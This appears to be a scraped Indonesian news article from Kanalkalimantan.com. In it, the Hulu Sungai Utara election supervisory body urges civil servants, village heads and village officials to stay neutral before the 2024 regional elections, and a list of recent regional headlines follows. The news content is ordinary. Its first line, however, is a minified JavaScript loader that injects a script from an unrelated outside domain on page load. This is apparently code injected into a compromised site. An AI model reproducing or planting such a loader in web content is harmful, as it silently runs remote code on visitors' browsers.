(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Bawaslu HSU: Netralitas ASN, Lurah, Kades hingga Aparatur Desa


KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) ingatkan netralitas Aparatur Sipil Negara (ASN), kepala desa (Kades), lurah, dan perangkat pemerintahan desa menjelang Pilkada 2024.

Hal itu diungkapkannya saat membuka sosialisasi pengawasan Pemilu, netralitas ASN pemerintahan desa dan kelurahan se Kecamatan Amuntai Tengah yang digelar Panitia Pengawas Kecamatan (Panwascam) Amuntai Tengah, di aula Hotel Grand Balqis Amuntai, Selasa (20/8/2024).

Ketua Bawaslu HSU Marfa’i mengatakan terkait pengawasan penyelenggara Pemilu menjadi tanggung jawab bersama Bawaslu, sesuai dengan UU Nomor 7 tahun 2019 dan Peraturan Bawaslu Nomor 5 tahun 2022.

Baca juga: Dewan Guru Besar UI: Setop Revisi UU Pilkada!

“Selaku aparatur negara, baik itu ASN, kepala desa, aparat desa ada kewajiban netral, meskipun memiliki hak pilih, tetapi didalam konteks sikap, tindakan, perbuatan ini yang dikehendaki negara sesuai undang-undang yaitu netral,” jelas Marfa’i.

Marfa’i menambahkan ASN memiliki asas netralisasi yang diamanatkan dalam Undang-Undang Nomor 5 tahun 2014 tentang ASN dilarang menjadi anggota dan atau pengurus partai politik. ASN juga diamanatkan untuk tidak berpihak dari segala bentuk pengaruh manapun dan tidak memihak kepada kepentingan.

Baca juga: #KawalPutusanMK dari JPO Banjarbaru

“Kenapa harus netral, karena aparatur negara bertugas melayani masyarakat, baik itu aparat desa maupun lembaga-lembaga yang lain,” katanya.

ASN merupakan perangkat pimpinan paling dasar dalam hirarki pemerintahan sebab menjadi figur sentral dan rujukan di masyarakat yang sifatnya harus mengayomi. Maka mereka harus menempatkan diri sesuai mandat Undang-Undang serta tidak mengambil bagian dari peserta Pemilu yang bisa menguntungkan salah satu peserta Pemilu.

Baca juga: Desa Panyipatan di Tala Tawarkan Tiga Wisata Alam Sejukkan Mata

“ASN perlu mencermati potensi gangguan netralitas yang bisa terjadi. Oleh karena itu, Pilkada tidak hanya harus terlaksana tetapi juga harus taat asas langsung, umum, bebas, rahasia, jujur dan adil,” imbuhnya.

“Karena tanggung jawab Pemilu ataupun Pilkada tidak semata-mata tanggung jawab penyelenggara, akan tetapi sudah menjadi tanggung jawab semua,” tandasnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

5 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

7 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

7 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

8 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

9 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

10 jam ago